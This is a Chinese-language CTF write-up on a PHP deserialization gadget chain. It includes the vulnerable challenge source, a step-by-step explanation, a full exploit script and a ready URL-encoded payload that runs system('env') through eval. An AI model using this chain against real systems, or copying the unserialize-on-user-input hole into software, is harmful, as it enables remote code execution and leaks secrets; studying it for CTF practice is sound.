这道题确实是很简单的一条链子,但是有一个知识点,要是不会的话,就很难办

<?php

class class000 {
    private $payl0ad = 0;
    protected $what;

    public function __destruct()
    {
        $this->check();
    }

    public function check()
    {
        if($this->payl0ad === 0)
        {
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
}

class class001 {
    public $payl0ad;
    public $a;
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}

class class002 {
    private $sec;
    public function __set($a, $b)
    {
        $this->$b($this->sec);
    }

    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }

}

class class003 {
    public $mystr;

    public function evvval($str)
    {
        eval($str);
    }

    public function __tostring()
    {
        return $this->mystr;
    }
}

if(isset($_GET['data']))
{
    $a = unserialize($_GET['data']);
}
else {
    highlight_file(__FILE__);
}

先把源码给一下,这里我们看一下这里的利用链很清晰,就是从class000到class003,一路下来也很通畅

链子的起点就是class000,这里的话我们需要绕过这个check(),但是这里的private $payl0ad = 0; 被写死了,是private属性的

那么我们就用这个__construct这个魔术方法进行对私有属性修改,这里的what用来触发class001的invoke()方法。

如果说调用一个不存在的属性的话,会触发该类的set方法,这里我们将class001类的$a设置为class002的实例,会触发class002的

set方法,class001还有一个属性就是$payl0ad,这里写入我们想要触发的class001的方法就是dangerous,这个dangerous可以触发

class003的evvval()方法,这里的参数是class002的sec,这里我们实例化class003。

做到这里的时候,差不多就要命令执行了,但是有一个问题就是

public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }

这里的evvval传入的参数是一个sec,这个sec是一个实例化的对象class003,这个已经是写死了,我们怎么命令执行呢

我们看一下class003这个类

class class003 {
    public $mystr;

    public function evvval($str)
    {
        eval($str);
    }

    public function __tostring()
    {
        return $this->mystr;
    }
}

这里除了这个evvval()方法还有一个toString()这个魔术方法,我们知道eval这个函数是将我们传入的东西当作字符串执行,这里在执行

eval('new class003()')的时候把对象当成字符串自动触发toString()方法,然后返回字符串,这里填写我们想要执行的命令

exp

<?php
class class000 {
    private $payl0ad;
    protected $what;
    public function __construct()
    {
        $this->payl0ad = 1;
        $this->what = new class001();
    }


}
class class001 {
    public $payl0ad;
    public $a;
    public function __construct()
    {
        $this->a=new class002();
        $this->payl0ad = "dangerous";
    }
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}

class class002 {
    private $sec;
    public function __construct()
    {
        $this->sec=new class003();
    }

    public function __set($a, $b)
    {
        $this->$b($this->sec);
    }

    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }

}

class class003 {
    public $mystr;
    public function __tostring()
    {
        return $this->mystr;
    }
    public function __construct()
    {
        $this->mystr = "system('env');";
    }

    public function evvval($str)
    {
        eval($str);
    }

}
$A = new class000();
echo urlencode(serialize($A));

生成的payload

O%3A8%3A%22class000%22%3A2%3A%7Bs%3A17%3A%22%00class000%00payl0ad%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00what%22%3BO%3A8%3A%22class001%22%3A2%3A%7Bs%3A7%3A%22payl0ad%22%3Bs%3A9%3A%22dangerous%22%3Bs%3A1%3A%22a%22%3BO%3A8%3A%22class002%22%3A1%3A%7Bs%3A13%3A%22%00class002%00sec%22%3BO%3A8%3A%22class003%22%3A1%3A%7Bs%3A5%3A%22mystr%22%3Bs%3A14%3A%22system%28%27env%27%29%3B%22%3B%7D%7D%7D%7D